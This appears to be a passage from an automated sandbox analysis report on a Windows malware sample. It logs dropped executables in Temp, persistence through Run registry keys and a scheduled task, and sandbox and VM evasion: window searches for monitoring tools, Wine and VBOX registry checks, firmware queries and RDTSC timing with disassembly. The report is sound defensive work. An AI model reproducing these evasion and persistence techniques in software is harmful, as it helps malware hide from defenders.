Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 100bc97ff1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 100bc97ff1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 76bf5a4dba.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 76bf5a4dba.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ee3f3c2bda.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ee3f3c2bda.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002600001\test.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002600001\test.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002600001\test.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 16ED34 second address: 16ED38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E9CD3 second address: 2E9CD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E9CD7 second address: 2E9CE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FB6784C8BE9h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E9CE7 second address: 2E9CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB678E7E6EDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E9FBF second address: 2E9FCB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 js 00007FB6784C8BD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EA140 second address: 2EA156 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jng 00007FB678E7E6E6h 0x0000000f jbe 00007FB678E7E6E6h 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ED09E second address: 2ED0A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ED0A3 second address: 2ED0D9 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB678E7E6ECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D1E54h], edx 0x00000011 push 00000000h 0x00000013 mov esi, dword ptr [ebp+122D2E6Fh] 0x00000019 call 00007FB678E7E6E9h 0x0000001e push eax 0x0000001f push edx 0x00000020 jno 00007FB678E7E6ECh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ED0D9 second address: 2ED0F4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB6784C8BDCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e jbe 00007FB6784C8BD6h 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ED0F4 second address: 2ED0F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ED0F9 second address: 2ED148 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jbe 00007FB6784C8BEBh 0x00000013 mov eax, dword ptr [eax] 0x00000015 jmp 00007FB6784C8BE8h 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 jno 00007FB6784C8BD6h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ED148 second address: 2ED1DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FB678E7E6E8h 0x0000000c popad 0x0000000d pop eax 0x0000000e clc 0x0000000f push 00000003h 0x00000011 sub dword ptr [ebp+122D397Ch], edi 0x00000017 jmp 00007FB678E7E6F7h 0x0000001c push 00000000h 0x0000001e mov dword ptr [ebp+122D3C62h], ebx 0x00000024 push 00000003h 0x00000026 push edi 0x00000027 jmp 00007FB678E7E6F6h 0x0000002c pop ecx 0x0000002d push BA061F0Bh 0x00000032 pushad 0x00000033 jo 00007FB678E7E6ECh 0x00000039 jc 00007FB678E7E6E6h 0x0000003f jmp 00007FB678E7E6F2h 0x00000044 popad 0x00000045 add dword ptr [esp], 05F9E0F5h 0x0000004c mov dword ptr [ebp+122D397Ch], ecx 0x00000052 lea ebx, dword ptr [ebp+12451F44h] 0x00000058 xor dword ptr [ebp+122D397Ch], ebx 0x0000005e xchg eax, ebx 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ED1DF second address: 2ED1E9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB6784C8BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ED260 second address: 2ED2CE instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB678E7E6E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FB678E7E6F0h 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007FB678E7E6E8h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000016h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d sub dword ptr [ebp+122D3AEAh], ebx 0x00000033 push 00000000h 0x00000035 push esi 0x00000036 mov dh, al 0x00000038 pop esi 0x00000039 push 7FB5632Bh 0x0000003e pushad 0x0000003f jne 00007FB678E7E6FCh 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 pop eax 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ED2CE second address: 2ED34E instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB6784C8BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xor dword ptr [esp], 7FB563ABh 0x00000012 stc 0x00000013 push 00000003h 0x00000015 call 00007FB6784C8BDAh 0x0000001a jmp 00007FB6784C8BDBh 0x0000001f pop ecx 0x00000020 push 00000000h 0x00000022 push 00000003h 0x00000024 mov dword ptr [ebp+122D3950h], eax 0x0000002a push 524580C8h 0x0000002f pushad 0x00000030 jmp 00007FB6784C8BDDh 0x00000035 push eax 0x00000036 jmp 00007FB6784C8BDFh 0x0000003b pop eax 0x0000003c popad 0x0000003d add dword ptr [esp], 6DBA7F38h 0x00000044 sub dword ptr [ebp+122D2C00h], edi 0x0000004a lea ebx, dword ptr [ebp+12451F4Dh] 0x00000050 jno 00007FB6784C8BD8h 0x00000056 xchg eax, ebx 0x00000057 push eax 0x00000058 push edx 0x00000059 jbe 00007FB6784C8BD8h 0x0000005f pushad 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ED34E second address: 2ED354 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ED354 second address: 2ED358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ED358 second address: 2ED36A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007FB678E7E6E6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ED3BA second address: 2ED3BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ED3BE second address: 2ED3DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB678E7E6F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007FB678E7E6E6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ED3DA second address: 2ED3FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB6784C8BE7h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ED3FB second address: 2ED440 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB678E7E6EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a movsx esi, dx 0x0000000d push 00000000h 0x0000000f call 00007FB678E7E6E9h 0x00000014 jns 00007FB678E7E6FAh 0x0000001a jmp 00007FB678E7E6F4h 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jnc 00007FB678E7E6E8h 0x00000028 push ebx 0x00000029 pop ebx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ED440 second address: 2ED446 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ED446 second address: 2ED494 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB678E7E6E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jnp 00007FB678E7E6F4h 0x00000016 mov eax, dword ptr [eax] 0x00000018 jmp 00007FB678E7E6EEh 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FB678E7E6F4h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2ED494 second address: 2ED49A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DF95F second address: 2DF965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30C4AF second address: 30C4B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30C8E3 second address: 30C8ED instructions: 0x00000000 rdtsc 0x00000002 js 00007FB678E7E6E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30CB9D second address: 30CBA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30CD4C second address: 30CD51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
